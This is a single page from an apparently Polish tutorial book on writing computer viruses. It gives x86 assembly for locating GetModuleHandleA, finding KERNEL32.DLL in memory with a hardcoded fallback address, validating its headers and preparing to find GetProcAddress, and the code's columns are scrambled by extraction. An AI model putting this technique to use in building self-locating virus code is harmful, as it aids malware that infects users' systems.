Wirusy komputerowe

Page 32

eax edx, 4 petla_szukaj

inc add loop

Jeżeli operacja się powiodła, to odnaleźliśmy funkcję GetModuleHandleA. W rejestrze EAX mamy liczbę, którą trzeba pomnożyć przez 2 i wynik dodać zmiennej first_thunk. znaleziona_funkcja: shl mov add mov

eax, 2 ebx, [ebp+offset first_thunk] eax, ebx eax, [eax]

; EAX= adres funkcji

Mamy adres funkcji, teraz możemy już w łatwy sposób uzyskać adres KERNEL32.DLL kernel db ”KERNEL32.DLL”,0 mov add push mov call cmp jne

edx, offset kernel edx, ebp edx [ebp+offset adresGMH], eax eax eax, 0 znaleziono_kernel

; zachowaj ; GetModuleHandle(”KERNEL32.DLL”); ; jeżeli błąd, to funkcja zwraca NULL

W przypadku, gdy któryś z fragmentów kodu skoczy do etykiety „nie_znalezione”, możemy się jeszcze ratować próbą wykorzystania stałego adresu załadowania KERNEL32.DLL, ale uwaga adres ten nie musi być we wszystkich wersjach Windows taki sam. Trzeba uważać ponieważ w przypadku, gdy nie jest to adres jądra, to możemy doprowadzić do zawieszenia się systemu. nie_znalezione: mov eax, 0BFF70000h Wcześniej jeżeli wszystko poszło po naszej myśli, to program skoczy do etykiety „znaleziono_kernel” a rejestr EAX będzie wskazywał na moduł jądra w pamięci. znaleziono_kernel: mov mov cmp jne mov add cmp jne

[ebp+offset adres_jadra], eax edi, eax word ptr [edi]. ’ZM’ blad edi, [edi+3Ch] edi, [ebp+offset adres_jadra] word ptr [edi], ’EP’ blad

; zachowaj adres jądra ; standardowe sprawdzenia

Wszystko w porządku, mamy zlokalizowane jądro w pamięci. Teraz powinniśmy odszukać funkcję GetProcAddress, która zwraca nam adres funkcji w pamięci. Dzięki temu w przyszłości nie będzie potrzeby stosowania naszego kodu do odnajdywania funkcji, co bardzo nam ułatwi prace, ponieważ kiedy zajdzie potrzeba wywołania dowolnego API, posłużymy się GetModuleHandle (zwróci nam uchwyt do modułu) oraz GetProcAddress (zwróci nam adres funkcji z tego modułu do którego mamy uchwyt). Sprawa wydaje się być prosta i oczywista. Posiadając adres jądra, możemy przystąpić do analizowania jego tabeli eksportów, w celu odnalezienia szukanej, eksportowanej przez ten moduł funkcji GetProcAddress .

32


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.